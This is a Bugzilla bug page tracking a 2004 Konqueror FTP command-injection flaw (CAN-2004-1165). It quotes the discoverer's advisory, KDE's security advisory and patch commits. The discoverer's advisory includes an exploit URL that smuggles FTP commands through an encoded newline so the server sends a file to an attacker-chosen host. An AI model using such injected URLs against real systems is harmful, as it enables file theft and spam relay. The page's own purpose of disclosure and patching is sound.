Bugzilla Bug 73759

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       7a69ezine Advisories                      7a69Adv#16
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  http://www.7a69ezine.org                            [05/12/2004]
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Title:        Konqueror FTP command injection

Author:       Albert Puigsech Galicia - <ripe 7a69ezine org>

Software:     Konqueror browser

Versions:     >= 3.3.1

Remote:       yes

Exploit:      yes

Severity:     Low-Medium

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I. Introduction.

 Konqueror is a very multifuncional HTTP browser included on KDE base package. 
Like others browsers it can use more protocols, for example FTP. This 
aplication is usualy used to navigate through the filesystems.


II. Description.

 In order to access to a server FTP using Internet Explorer you write 
"ftp://ftpuser:ftppass@server/directory" in the directions's bar and then the 
navigator connects to the server and executes the following commands (and 
other that have omitted because they are not important for this stuff).

   USER ftpuser
   PASS ftppass
   CWD /directory/

 The security problem resides in which is posible to inject FTP commands on 
the URL adding at the code %0a followed by your injected commands. If you do 
"ftp://ftpuser:ftppass@server/directory%0asomecommand%0a" it will execute 
those commands.

   USER ftpuser
   PASS ftppass
   CWD /directory
   somecommand

 The last line is an erroneous command, but it's not a problem because 
'somecommand' has already been executed.


III. Exploit

 You need to deceive a user to go to your URL and then to introduce a valid 
user and password. So yes! The explotation also requires to apply social 
engineering. Then you can do a lot of things using this bug like create or 
delete files and directories, but probably, the most interesting thing is to 
download files. Its posible to do that using this URL;

    ftp://server/%0aPORT%20a,b,c,d,e,f%0aRETR%20/file

 Then the server will connect to a.b.c.d and port e,f (see FTP RFC to 
translate the port number) and will send the file data.


IV. Patch

 Konqueror developers have been contacted, and patch will be avaliable soon.


V. Timeline

01/12/2004  -  Bug discovered
02/12/2004  -  KDE developers contacted
03/12/2004  -  Fast developers reply
03/12/2004  -  IE also afected, so we decide to publish the bug
05/12/2004  -  Advisor released

kde please verify and advise.

kde is this fixed with 3.3.2?

Seems to be fixed in CVS now:

http://bugs.kde.org/show_bug.cgi?id=95825

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KDE Security Advisory: ftp kioslave command injection
Original Release Date: 2005-01-01
URL: http://www.kde.org/info/security/advisory-20050101-1.txt

0. References

        http://www.securityfocus.com/bid/11827
        http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-1165


1. Systems affected:

        All KDE releases up to including KDE 3.3.2.


2. Overview:

        KDE applications which use the ftp kioslave, e.g. Konqueror, allow
        remote attackers to execute arbitrary FTP commands via an ftp://
        URL that contains an URL-encoded newline ( %0a ) before the ftp
        command, which causes the commands to be inserted into the resulting
        FTP session. 

        Due to similiarities between the ftp and the SMTP protocol, this
        vulnerability allows to misuse the ftp slave to connect to a
        SMTP server and issue arbitrary commands, like sending an email.


3. Impact:

        The FTP kioslave can be misused to execute any ftp command on the
        server or be a vector for sending out unsolicited email.


4. Solution:

        Source code patches have been made available which fix these
        vulnerabilities. Contact your OS vendor / binary package provider
        for information about how to obtain updated binary packages.


5. Patch:

        Patch for KDE 3.2.3 is available from 
        ftp://ftp.kde.org/pub/kde/security_patches :

        a639b7b592f005e911c454a0a8c9c542  post-3.2.3-kdelibs-kioslave.patch

        Patch for KDE 3.3.2 is available from 
        ftp://ftp.kde.org/pub/kde/security_patches :

        fe67157b26a8cdf5bcfa1898cdf3b154  post-3.3.2-kdelibs-kioslave.patch


6. Time line and credits:

        26/12/2004 Public bug report filed against kio_ftp by Thiago Macieira
                   about being able to send email via kio_ftp CR/LF injection.
        26/12/2004 Patches developed by Thiago Macieira developed and applied
                   to CVS.
        01/01/2005 Advisory released.



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Created an attachment (id=47493) [details]
3.3.2 patch

Created an attachment (id=47494) [details]
3.3.2 patch

Created an attachment (id=47495) [details]
3.2.3 patch

Commited fix as:

kdelibs-3.2.3-r5
kdelibs-3.3.2-r2

Stable arches were left stable.

Thx Caleb.

Handling stable marking on bug #72750

GLSA 200501-18

sparc stable closing with GLSA 200501-18